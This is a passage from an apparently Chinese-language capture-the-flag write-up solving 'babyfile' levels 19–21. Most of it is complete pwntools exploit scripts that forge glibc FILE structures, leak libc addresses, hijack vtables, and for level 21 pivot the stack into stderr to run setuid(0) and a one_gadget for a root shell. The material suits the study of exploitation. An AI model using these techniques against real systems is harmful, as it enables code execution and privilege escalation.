target.sendlineafter(b"> ", str(size).encode())
def del_note(idx):
target.sendlineafter(b"> ", b"del_note")
target.sendlineafter(b"> ", str(idx).encode())
def write_note(idx, content):
target.sendlineafter(b"> ", b"write_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def read_note(idx, content):
target.sendlineafter(b"> ", b"read_note")
target.sendlineafter(b"> ", str(idx).encode())
target.send(content)
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def write_file(idx):
target.sendlineafter(b"> ", b"write_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def open_flag():
target.sendlineafter(b"> ", b"open_flag")
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
open_file()
fp = FileStructure()
fp.write(elf.bss(), 0x150)
payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x10)
write_file(0)
target.recvlines(4)
libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recv(0x140)
fp_ptr = int.from_bytes(target.recv(0x8), "little")
target.success(f"libc: {hex(libc)}")
target.success(f"fp: {hex(fp_ptr)}")
fp = FileStructure()
fp._lock = fp_ptr
fp._wide_data = fp_ptr
fp.vtable = __GI__IO_wfile_overflow
fp.chain = elf.sym["win"]
payload = flat(
bytes(fp),
fp_ptr,
)
write_fp(payload)
new_note(0, 0x100)
raw_input("DEBUG")
write_file(0)
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 19
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to arbitrarily read/write data or hijack control fl
ow.
## Write-up
笑死了，说明我上一题是非预期解，咋一看和上题没啥区别啊，删了点功能而已，但是被删
的功能我一个也没用上，测试直接用上题一样的 exp，通了……
所以这题的耗时大概是 30s，~~这 30s 是我和 IDA 姐姐谈心的时间（bushi~~
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level19"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(idx, size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(idx).encode())
target.sendlineafter(b"> ", str(size).encode())
def del_note(idx):
target.sendlineafter(b"> ", b"del_note")
target.sendlineafter(b"> ", str(idx).encode())
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def write_file(idx):
target.sendlineafter(b"> ", b"write_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def open_flag():
target.sendlineafter(b"> ", b"open_flag")
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
open_file()
fp = FileStructure()
fp.write(elf.bss(), 0x150)
payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x10)
write_file(0)
target.recvlines(4)
libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recv(0x140)
fp_ptr = int.from_bytes(target.recv(0x8), "little")
target.success(f"libc: {hex(libc)}")
target.success(f"fp: {hex(fp_ptr)}")
fp = FileStructure()
fp._lock = fp_ptr
fp._wide_data = fp_ptr
fp.vtable = __GI__IO_wfile_overflow
fp.chain = elf.sym["win"]
payload = flat(
bytes(fp),
fp_ptr,
)
write_fp(payload)
new_note(0, 0x100)
raw_input("DEBUG")
write_file(0)
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 20
## Information
- Category: Pwn
## Description
> Apply various FILE struct exploits to obtain a leak, then hijack hijack contro
l flow.
## Write-up
别告诉我我打了两道非预期 o_O
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level20"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def new_note(idx, size):
target.sendlineafter(b"> ", b"new_note")
target.sendlineafter(b"> ", str(idx).encode())
target.sendlineafter(b"> ", str(size).encode())
def del_note(idx):
target.sendlineafter(b"> ", b"del_note")
target.sendlineafter(b"> ", str(idx).encode())
def open_file():
target.sendlineafter(b"> ", b"open_file")
def close_file():
target.sendlineafter(b"> ", b"close_file")
def write_file(idx):
target.sendlineafter(b"> ", b"write_file")
target.sendlineafter(b"> ", str(idx).encode())
def write_fp(payload):
target.sendlineafter(b"> ", b"write_fp")
target.send(payload)
def open_flag():
target.sendlineafter(b"> ", b"open_flag")
def quit():
target.sendlineafter(b"> ", b"quit")
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
open_file()
fp = FileStructure()
fp.write(elf.bss(), 0x270)
payload = flat(fp.struntil("_flags2"))
write_fp(payload)
new_note(0, 0x10)
raw_input("DEBUG")
write_file(0)
target.recvlines(4)
libc = int.from_bytes(target.recv(0x8), "little") - 0x1ED6A0
__GI__IO_wfile_overflow = libc + 0x1E8DC0
target.recv(0x260)
fp_ptr = int.from_bytes(target.recv(0x8), "little")
target.success(f"libc: {hex(libc)}")
target.success(f"fp: {hex(fp_ptr)}")
fp = FileStructure()
fp._lock = fp_ptr
fp._wide_data = fp_ptr
fp.vtable = __GI__IO_wfile_overflow
fp.chain = elf.sym["win"]
payload = flat(
bytes(fp),
fp_ptr,
)
write_fp(payload)
new_note(0, 0x100)
raw_input("DEBUG")
write_file(0)
quit()
target.interactive()
if __name__ == "__main__":
main()
```
# Level 21
## Information
- Category: Pwn
## Description
> Apply FILE struct exploits to obtain the flag.
## Write-up
这才是真正的 FSOP。程序正常返回，或 `abort` 或 `exit` 后都会调用 `_IO_flush_all_
lockp`，它会刷新 `_IO_list_all` 中的每一个结构体，调用其 vatble 指向的函数。这道
题只会刷新 `stderr`（因为程序关闭了 `stdout` 和 `stdin`），然后调用 `stderr` 的
vtable 指向的函数，老样子，让 vtable 去执行 `__GI__IO_wfile_overflow`，然后它调
用 `_IO_wdoallocbuf`，之后这个东西又去调用 stderr 的 `_wide_data` 加上某个偏移处
的内容。所以我们可以直接让其调用 one_gadget，可是真的那么简单吗？
注意这题是有 `SUID` 的，直接调用 one_gadget 可以拿到 shell 但是不能 `cat /flag`
，所以我们需要一个 ROP Chain 先执行 `setuid(0)` 然后再去执行 one_gadget。这是这
题的另一处难点，因为正常只能返回到某条指令，我们控制不了后续执行的内容以及栈内容
。我的解决方案是 stack pivot 到 stderr，充分利用这个结构体构造 ROP Chain，之后就
能发现这题设计的真的非常巧妙，不管是多一个还是少一个字节都不行 orz
## Exploit
```python
#!/usr/bin/env python3
from pwn import (
ELF,
FileStructure,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/babyfile_level21"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
target.recvuntil(b" is: ")
libc.address = int(target.recvline().strip(), 16) - 0x84420
__GI__IO_wfile_overflow = libc.address + 0x1E8DE0
stderr = libc.sym["_IO_2_1_stderr_"]
target.success(f"libc: {hex(libc.address)}")
target.success(f"stderr: {hex(stderr)}")
one_gadget = libc.address + 0xE3B01
pop_rdi_ret = libc.address + 0x128B8D
leave_ret = libc.address + 0x578C8
fp = FileStructure()
fp._IO_read_ptr = pop_rdi_ret
fp._IO_read_end = 0
fp._IO_read_base = libc.sym["setuid"]
fp._IO_write_ptr = one_gadget + 1
fp._IO_write_base = one_gadget
fp._lock = stderr + 0x10
fp._wide_data = stderr - 0x48
fp._codecvt = stderr
fp.vtable = __GI__IO_wfile_overflow
fp.chain = leave_ret
raw_input("DEBUG")
target.send(bytes(fp))
target.interactive()
if __name__ == "__main__":
main()
```
# 后记
紧赶慢赶从月垫底杀到第三，完结撒花。一共耗时……15 天 xD
其实可以控制在七天以内解决，只是因为最近实在太懒了，基本上前期都是一天只做一道题
，不管是难题还是简单题……
接下来应该还有最后一个比较综合的 FSOP 利用章节，打算一周解决，然后去稍稍学点 ker
nel，专攻 IoT，打比赛，准备面试。呀，2 AM 了。就酱，晚安世界～
